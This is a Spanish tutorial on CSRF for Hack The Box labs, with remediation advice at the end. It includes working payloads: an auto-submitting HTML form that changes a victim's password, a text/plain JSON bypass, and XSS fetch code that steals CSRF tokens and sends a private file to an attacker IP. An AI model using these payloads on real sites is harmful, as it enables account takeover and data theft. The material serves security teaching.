CSRF: qué es, cómo detectarlo y cómo explotarlo paso a paso
Qué es un ataque CSRF con un ejemplo real: detectar un formulario vulnerable, crear la prueba de concepto en HTML, saltarse tokens y SameSite y combinarlo con XSS.
Un CSRF (Cross-Site Request Forgery) consiste en hacer que el navegador de otra persona, que ya tiene la sesión iniciada en una web, envíe una petición que tú has preparado: cambiar su contraseña, su correo o crear un usuario administrador. La víctima solo tiene que abrir un enlace tuyo. No robas su sesión: la usas sin verla.
Funciona porque el navegador añade las cookies de un sitio a cualquier petición hacia ese sitio, venga de donde venga. Si la web no comprueba que la petición la ha originado ella misma, no distingue entre un clic del usuario y un formulario escondido en tu página.
Las tres condiciones
Para que una acción sea vulnerable a CSRF tienen que cumplirse las tres:
- Una acción que merezca la pena: cambiar la contraseña o el correo, dar permisos, hacer una transferencia.
- La sesión va solo en una cookie. Si la web usa una cabecera
Authorization: Bearer ...que pone el JavaScript, tu página no puede añadirla y no hay CSRF. - Ningún parámetro que no puedas adivinar: ni token anti-CSRF, ni la contraseña actual.
Cómo es en un CTF
En un pentest real la víctima es una persona; en Hack The Box es un bot: un navegador automático con sesión de administrador que abre los enlaces que le mandas por un formulario de contacto, un ticket o un mensaje. La pista suele ser un texto como "el administrador revisará tu mensaje".
El ejemplo de libro es SecNotes: un formulario de contacto que lee el usuario tyler y una página de cambio de contraseña sin token y sin pedir la contraseña actual.
Paso 1: busca la acción y captúrala
Con Burp Suite (la versión Community basta) como proxy, haz tú la acción con tu propio usuario y mira la petición. Por ejemplo:
POST /change_pass.php HTTP/1.1
Host: 10.10.10.97
Cookie: PHPSESSID=8u3m1h0e...
Content-Type: application/x-www-form-urlencoded
password=Nueva123!&confirm_password=Nueva123!&submit=submit
No hay nada que tú no sepas: solo la cookie, que pondrá el navegador de la víctima.
Paso 2: comprueba las defensas
Envía la petición a Repeater y prueba, una a una:
| Prueba | Si funciona... |
|---|---|
| Quitar el parámetro del token entero | La web solo lo valida si existe |
| Dejarlo vacío o cambiar un carácter | No lo valida |
| Usar el token de otra sesión tuya | No está ligado a la sesión |
Cambiar POST por GET con los parámetros en la URL |
Puedes atacar con un simple enlace (y saltarte SameSite=Lax) |
Cambiar el Content-Type a text/plain |
Sirve para CSRF contra APIs JSON |
Quitar la cabecera Referer |
La comprobación del origen es opcional |
En SecNotes funciona la cuarta: la página acepta los mismos parámetros por GET.
Paso 3: la prueba de concepto
Si vale con GET, el ataque es un enlace:
http://10.10.10.97/change_pass.php?password=Pwned123!&confirm_password=Pwned123!&submit=submit
Si tiene que ser POST, monta una página con un formulario que se envía solo. Guárdala como index.html:
<html>
<body>
<form action="http://10.10.10.97/change_pass.php" method="POST">
<input type="hidden" name="password" value="Pwned123!">
<input type="hidden" name="confirm_password" value="Pwned123!">
<input type="hidden" name="submit" value="submit">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Sírvela desde tu equipo y manda el enlace a la víctima (en HTB, al bot):
sudo python3 -m http.server 80
10.10.10.97 - - [03/Nov/2026 21:40:12] "GET / HTTP/1.1" 200 -
Esa línea en tu servidor es la señal de que el bot ha abierto tu página. Unos segundos después, prueba a entrar con su usuario y la contraseña nueva.
Truco
En Burp Suite Professional, clic derecho sobre la petición, Engagement tools y Generate CSRF PoC te escribe el formulario. Con la versión Community, la plantilla de arriba sirve para cualquier formulario: añade un input por parámetro.
Contra una API JSON
Un formulario HTML no puede enviar application/json, pero muchas API aceptan el JSON aunque llegue como text/plain. El truco es meter el JSON en el nombre del campo:
<form action="http://objetivo.htb/api/email" method="POST" enctype="text/plain">
<input type="hidden" name='{"email":"[email protected]","x":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>
El navegador envía {"email":"[email protected]","x":"="}, que es JSON válido. Si la API exige de verdad Content-Type: application/json, este truco no sirve y necesitas un XSS.
SameSite: por qué a veces no funciona
Los navegadores modernos limitan cuándo se envían las cookies desde otro sitio con el atributo SameSite:
| Valor | ¿Se envía la cookie desde tu página? |
|---|---|
None (con Secure) |
Siempre: CSRF clásico |
Lax |
Solo en navegaciones de nivel superior con GET (un enlace, window.location). Un formulario POST no lleva la cookie |
Strict |
Nunca |
Chrome y Edge tratan como Lax las cookies que no indican nada. Por eso hoy la prueba de "cambiar POST por GET" es tan importante: con Lax, una acción que se pueda hacer por GET sigue siendo vulnerable. En HTB muchas máquinas usan HTTP sin Secure y bots configurados para que el ataque funcione, pero en un pentest real revisa siempre las cabeceras Set-Cookie.
CSRF + XSS: cuando hay token
Si encuentras un XSS en la misma web, el token deja de ser un problema: tu JavaScript se ejecuta dentro del sitio, puede leer la página, sacar el token y enviar la petición con él. Es lo que pasa en Cat, Trickster y DarkCorp.
fetch('/settings')
.then(r => r.text())
.then(html => {
const token = html.match(/name="csrf_token" value="([^"]+)"/)[1];
return fetch('/settings', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'email=yo%40atacante.htb&csrf_token=' + token
});
});
Ajusta la expresión regular al nombre real del campo (míralo en el código de la página). La misma idea sirve para leer páginas que solo ve la víctima y mandártelas, como hace Cat con un repositorio privado de Gitea:
fetch('/administrator/repo-privado/raw/branch/main/README.md')
.then(r => r.text())
.then(d => fetch('http://10.10.14.5/?d=' + encodeURIComponent(d)));
Cómo se arregla
Para el informe (o para tu propia aplicación):
- Un token anti-CSRF aleatorio por sesión, ligado a ella y comprobado en el servidor en todas las peticiones que cambian algo.
- Cookies de sesión con
SameSite=LaxoStrict. - Nunca cambiar estado con
GET. - Pedir la contraseña actual para cambiar la contraseña o el correo.
- Comprobar las cabeceras
OriginoSec-Fetch-Sitecomo defensa adicional.
Errores típicos
- El bot nunca visita tu página: revisa que tu IP sea la de la VPN (
ip a show tun0) y que el puerto esté libre. Algunos bots solo abren enlaces de su propio dominio: entonces necesitas un XSS o un CSRF por GET. - La petición llega pero no cambia nada: falta un parámetro (por ejemplo el botón
submit) o elContent-Typeno es el esperado. Compara byte a byte con la petición de Burp. - Funciona cuando lo pruebas tú, pero no con el bot: el bot puede abrir la web con otro nombre (
localhosto un dominio.htb) y su cookie solo vale para ese nombre. Mira elRefererde su visita en tu servidor y usa en el formulario la misma URL que usa él.
Y después
Marca el CSRF en la checklist web y sigue la ruta Pentesting web. Las guías de XSS y de IDOR y mass assignment cubren los fallos con los que más se combina.